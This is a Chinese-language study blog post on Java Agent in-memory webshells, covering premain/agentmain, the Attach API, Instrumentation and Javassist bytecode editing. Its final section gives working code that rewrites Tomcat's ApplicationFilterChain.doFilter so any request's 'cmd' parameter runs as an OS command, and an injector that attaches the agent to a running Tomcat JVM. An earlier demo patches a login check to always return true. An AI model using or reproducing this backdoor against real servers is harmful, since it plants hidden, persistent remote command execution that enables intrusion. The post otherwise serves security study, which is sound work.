Java Agent 内存马学习记录
Java Agent使用
Java Agent:不影响正常编译的前提下,修改Java字节码,进而动态修改已加载或未加载的类、属性、方法的技术
应用:热部署、诊断工具
Java Agent的两种使用方式:
- 通过
-javaagent
参数指定agent,从而在JVM启动之前修改class内容(自JDK1.5)
- 通过
VirtualMachine.attach
方法,将agent附加在启动后的JVM进程中,进而动态修改class内容(自JDK1.6)
上述两种方法分别需要实现premain
和agentmain
方法
方法的原型如下:
1 2 3 4
| public static void agentmain(String agentArgs, Instrumentation inst); public static void agentmain(String agentArgs); public static void premain(String agentArgs, Instrumentation inst); public static void premain(String agentArgs);
|
其中带有 Instrumentation inst
参数的方法优先级更高, 会优先被调用
打jar包
Java Agent程序必须打包成为jar格式
同时在jar包中需要提供一个MANIFEST.MF
文件来配置Java Agent的相关参数
IDEA下的相关操作如下:
- 在resources下会生成META-INF/MANIFEST.MF
在这里可以指定premain类和agentmain类(该文件中最后有一个空行)
1 2 3 4 5 6
| Manifest-Version: 1.0 Premain-Class: com.example.memshell.premainDemo Agent-Class: com.example.memshell.agentmainDemo Can-Redefine-Classes: true Can-Retransform-Classes: true
|
premain
premain是在在JVM加载字节码之前调用
premain项目
1 2 3 4 5 6 7
| package com.example.memshell; import java.lang.instrument.Instrumentation; public class premainDemo { public static void premain(String args, Instrumentation inst) throws Exception { System.out.println("premainDemo"); } }
|
另起一个java项目,在构建中记得添加JVM选项(不同于程序参数),添加-javaagent
选项,指定premain的jar包的绝对路径
1
| -javaagent:E:\Java_Sec\MemShell\out\artifacts\MemShell_jar\MemShell.jar
|
运行程序可得
agentmain
agentmain方法是在JVM启动后,将自定义进程附加到JVM的已知进程中
我们需要手动导入一下com.sun.tools.attach.VirtualMachine
这个类,位于jdk的lib目录下的tools.jar,但是这个jar包默认下不在JDK的classpath目录下
所以,用porm.xml管理的方式进行手动添加,然后更新依赖
1 2 3 4 5 6 7
| <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>8</version> <scope>system</scope> <systemPath>D:/JDKInstall/JDK8/lib/tools.jar</systemPath> </dependency>
|
如同上述部署jar包的方式,需要在META-INF/MANIFEST.MF中指明Agent-Class具体为哪个类
1 2 3 4 5 6 7
| Manifest-Version: 1.0 Premain-Class: com.example.memshell.premainDemo Agent-Class: com.example.memshell.agentmainDemo Can-Redefine-Classes: true Can-Retransform-Classes: true
|
agentmainDemo,实现agentmain即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package com.example.memshell;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.classfile.Field;
import java.io.File; import java.lang.instrument.Instrumentation;
public class agentmainDemo {
public static void agentmain(String args, Instrumentation instrumentation) throws Exception{ System.out.println("This is agentmainDemo"); }
}
|
然后打成jar包
附加进程,使用jps -l
查看JVM中的进程号
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package com.example.memshell;
import com.sun.tools.attach.VirtualMachine; import java.io.File;
public class agentDemo {
public static void main(String[] args) throws Exception{ VirtualMachine vm = VirtualMachine.attach("31504"); String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar"; System.out.println(agentpath); vm.loadAgent(agentpath); vm.detach(); System.out.println("attach ok"); } }
|
附加成功
当然,上述代码是直接硬编码PID。比较优雅的写法是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.example.memshell;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; import java.io.File;
public class agentDemo {
public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\MemShell2_jar2\\MemShell.jar"; for(VirtualMachineDescriptor descriptor : list){ String name = descriptor.displayName(); String pid = descriptor.id();
if(name.contains("com.example.memshell.agentDemo")){ VirtualMachine virtualMachine = VirtualMachine.attach(pid); String path = new File(agentpath).getAbsolutePath(); virtualMachine.loadAgent(path); virtualMachine.detach(); System.out.println("attach ok"); } } }
}
|
Instrumentation动态修改字节码
Instrumentation接口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package java.lang.instrument;
import java.io.File; import java.io.IOException; import java.util.jar.JarFile;
public interface Instrumentation { void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);
boolean removeTransformer(ClassFileTransformer transformer); boolean isRetransformClassesSupported(); void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
boolean isRedefineClassesSupported();
void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException, UnmodifiableClassException;
boolean isModifiableClass(Class<?> theClass);
@SuppressWarnings("rawtypes") Class[] getAllLoadedClasses();
@SuppressWarnings("rawtypes") Class[] getInitiatedClasses(ClassLoader loader);
long getObjectSize(Object objectToSize); void appendToBootstrapClassLoaderSearch(JarFile jarfile);
void appendToSystemClassLoaderSearch(JarFile jarfile);
boolean isNativeMethodPrefixSupported();
void setNativeMethodPrefix(ClassFileTransformer transformer, String prefix); }
|
classpath
Classpath
是 Java 中用于指定 Java 虚拟机(JVM)和 Java 编译器(javac)查找类文件(.class 文件)和资源文件的路径。它是一个包含多个目录、JAR 文件、ZIP 文件的路径列表,JVM 通过这些路径来定位并加载运行 Java 程序所需的类文件和资源
当运行一个 Java 程序时,JVM 会根据指定的 classpath
路径查找类文件(.class 文件)。如果类文件在 classpath
路径中没有找到,JVM 会抛出 ClassNotFoundException
。
classpath
可以包含多个路径,路径之间用特定的符号分隔:
在类 Unix 系统(如 Linux、macOS)中,使用冒号(:
)分隔路径。
在 Windows 系统中,使用分号(;
)分隔路径。
设置方法:
命令行:java -cp path javaDemo
,将从path路径下找到对应的资源文件
设置ClassPath环境变量
javassist
Javassist:用来处理Java字节码的类库,允许在已经编译好的类中添加新的方法,或者修改已有的方法,同时也可以通过手动的方式去生成一个新的类对象
导入依赖
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.25.0-GA</version> </dependency>
|
ClassPool
需要关注的方法:
- getDefault : 返回默认的ClassPool 是单例模式的,一般通过该方法创建我们的ClassPool;
- appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
- toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
- get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑。
CtClass
需要关注的方法:
- freeze : 冻结一个类,使其不可修改;
- isFrozen : 判断一个类是否已被冻结;
- prune : 删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用;
- defrost : 解冻一个类,使其可以被修改。如果事先知道一个类会被defrost, 则禁止调用 prune 方法;
- detach : 将该class从ClassPool中删除;
- writeFile : 根据CtClass生成 .class 文件;
- toClass : 通过类加载器加载该CtClass。
上面我们创建一个新的方法使用了CtMethod类。CtMthod代表类中的某个方法,可以通过CtClass提供的API获取或者CtNewMethod新建,通过CtMethod对象可以实现对方法的修改。
CtMethod
中的一些重要方法:
- insertBefore : 在方法的起始位置插入代码;
- insterAfter : 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception;
- insertAt : 在指定的位置插入代码;
- setBody : 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除;
- make : 创建一个新的方法。
创建新类:
- 使用makeClass在类池中创建新类
- 添加属性、构造函数、方法
- writeFile让.class文件落地
调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
| package com.example.memshell.agent;
import javassist.*;
import java.awt.*; import java.lang.reflect.Method;
public class javassistDemo {
public static void Create1cfhClass() throws Exception{ ClassPool pool = ClassPool.getDefault();
CtClass newCls = pool.makeClass("Icfh");
CtField newParam = new CtField(pool.get("java.lang.String"), "name", newCls); newParam.setModifiers(Modifier.PRIVATE); newCls.addField(newParam, CtField.Initializer.constant("1cfh"));
newCls.addMethod(CtNewMethod.setter("setName",newParam)); newCls.addMethod(CtNewMethod.getter("getName",newParam));
CtConstructor constructor = new CtConstructor(new CtClass[]{}, newCls); constructor.setBody("{name=\"1c4h\";}"); newCls.addConstructor(constructor);
constructor = new CtConstructor(new CtClass[]{ pool.get("java.lang.String") }, newCls); constructor.setBody("{$0.name = $1;}"); newCls.addConstructor(constructor);
CtMethod ctMethod = new CtMethod( CtClass.voidType, "printName", new CtClass[]{}, newCls ); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(name);}"); newCls.addMethod(ctMethod);
CtMethod ctMethod1 = new CtMethod( CtClass.voidType, "printMsg", new CtClass[]{ pool.get("java.lang.String") }, newCls ); ctMethod1.setModifiers(Modifier.PUBLIC); ctMethod1.setBody("{System.out.println(\"ths msg is: \"+$1);}"); newCls.addMethod(ctMethod1);
Class<?> clazz = newCls.toClass(); Object obj = clazz.getDeclaredConstructor().newInstance(); clazz.getMethod("printMsg", String.class).invoke(obj,"JavaMaster"); clazz.getMethod("printName").invoke(obj, null); Method printMsg = clazz.getDeclaredMethod("printMsg", String.class); printMsg.invoke(obj,"Fuck");
newCls.writeFile("E:\\Java_Sec\\MemShell\\class");
}
public static void useClass() throws Exception{ ClassPool pool = ClassPool.getDefault(); pool.appendClassPath("E:\\Java_Sec\\MemShell\\class"); CtClass ctClass = pool.get("Icfh");
Object obj = ctClass.toClass().newInstance(); Method setName = obj.getClass().getDeclaredMethod("setName",String.class); setName.invoke(obj, "hacker"); Method getName = obj.getClass().getDeclaredMethod("getName"); System.out.println(getName.invoke(obj));
}
public static void main(String[] args) throws Exception{
useClass(); }
}
|
利用agentmain注入修改字节码
总体思路:
- agentmain注入
- 在agentmain中调用Instrumentation的API添加拦截器,并重载
目标代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package com.example;
import java.util.Objects;
public class instrumentDemo {
public static String username = "1cfh"; public static String password = "1cfh_fake";
public static boolean checkLogin() { return (username == "1cfh") && (password == "1cfh"); }
public static void main(String[] args) throws InterruptedException { while (true){ if(checkLogin()){ System.out.println("login success: FLAG{hacker}"); }else { System.out.println("login failed"); } Thread.sleep(1000); }
} }
|
利用addTransformer添加Transformer
然后retransformClasses重载class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| package com.example.memshell.agent;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import java.util.List;
public class instrumentDemo {
public static void agentmain(String args, Instrumentation instrumentation) throws Exception{ for(Class clazz : instrumentation.getAllLoadedClasses()){ if(clazz.getName().equals("com.example.instrumentDemo")) { instrumentation.addTransformer(new TransformerDemo(), true); instrumentation.retransformClasses(clazz); } } }
}
class TransformerDemo implements ClassFileTransformer{
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if(className.equals("com/example/instrumentDemo")){ try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get("com.example.instrumentDemo"); CtMethod method = ctClass.getDeclaredMethod("checkLogin"); method.setBody("{System.out.println(\"hack\"); return true;}"); byte[] code = ctClass.toBytecode(); ctClass.detach(); return code;
} catch (NotFoundException | CannotCompileException | IOException e) { throw new RuntimeException(e); }
}else{ return classfileBuffer; }
} }
|
然后就是遍历JVM中的Java进程,匹配目标进程,加载agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.example.memshell.agent;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; import java.io.File;
public class agentDemo {
public static void main(String[] args) throws Exception{ List<VirtualMachineDescriptor> list = VirtualMachine.list(); String agentpath = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentInstrument_jar\\MemShell.jar"; for(VirtualMachineDescriptor descriptor : list){ String name = descriptor.displayName(); String pid = descriptor.id();
if(name.equals("demo.jar")){ VirtualMachine virtualMachine = VirtualMachine.attach(pid); String path = new File(agentpath).getAbsolutePath(); virtualMachine.loadAgent(path); virtualMachine.detach(); System.out.println("attach ok"); break; } } }
}
|
Instrumentation的局限性
大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:
- 新类和老类的父类必须相同
- 新类和老类实现的接口数也要相同,并且是相同的接口
- 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
- 新类和老类新增或删除的方法必须是private static/final修饰的
- 可以修改方法体
Agent内存马
既然可以利用Instrumentation来修改字节码,
注意之前在调试Filter时,我们看它的栈帧,在自定义的HelloFilter之前,是以链式调用各个Filter,所以我们直接打ApplicationFilterChain的doFilter即可注入🐎
打agentmain的agent内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| package com.example.memshell.agentShell;
import javassist.*;
import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain;
public class AgentShellDemo {
public static void agentmain(String args, Instrumentation instrumentation) throws Exception{
Class[] classes = instrumentation.getAllLoadedClasses(); for(Class clazz : classes){ if(clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ instrumentation.addTransformer(new FilterTransformer(), true); instrumentation.retransformClasses(clazz); } }
} }
class FilterTransformer implements ClassFileTransformer{
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { try { ClassPool classPool = ClassPool.getDefault();
if(classBeingRedefined != null){ ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(classClassPath); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
String codeBody = "{" + "javax.servlet.http.HttpServletRequest request = $1\n;" + "String cmd=request.getParameter(\"cmd\");\n" + "if (cmd !=null){\n" + " Runtime.getRuntime().exec(cmd);\n" + " }"+ "}"; ctMethod.setBody(codeBody);
return ctClass.toBytecode();
} catch (NotFoundException | CannotCompileException | IOException e) { throw new RuntimeException(e); } }
}
|
加载agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| package com.example.memshell.agentShell;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import javax.servlet.*; import javax.servlet.http.*; import java.io.BufferedReader; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.security.Principal; import java.util.*;
public class AgentShellInjectionDemo {
public static void main(String[] args) throws Exception{ String path = "E:\\Java_Sec\\MemShell\\out\\artifacts\\AgentShell_jar\\MemShell.jar"; List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor virtualMachineDescriptor : list){ if(virtualMachineDescriptor.displayName().contains("org.apache.catalina.startup.Bootstrap")){ VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id()); virtualMachine.loadAgent(path); virtualMachine.detach(); System.out.println("inject success"); }
} } }
|
参考
https://exp10it.io/2023/01/java-agent-%E5%86%85%E5%AD%98%E9%A9%AC/#premain-%E6%96%B9%E5%BC%8F
https://boogipop.com/2023/03/02/Agent%E5%86%85%E5%AD%98%E9%A9%AC%E5%89%96%E6%9E%90/#%E7%9F%AD%E5%B0%8F%E7%B2%BE%E6%82%8D%E7%9A%84Javassits%E5%90%8C%E5%AD%A6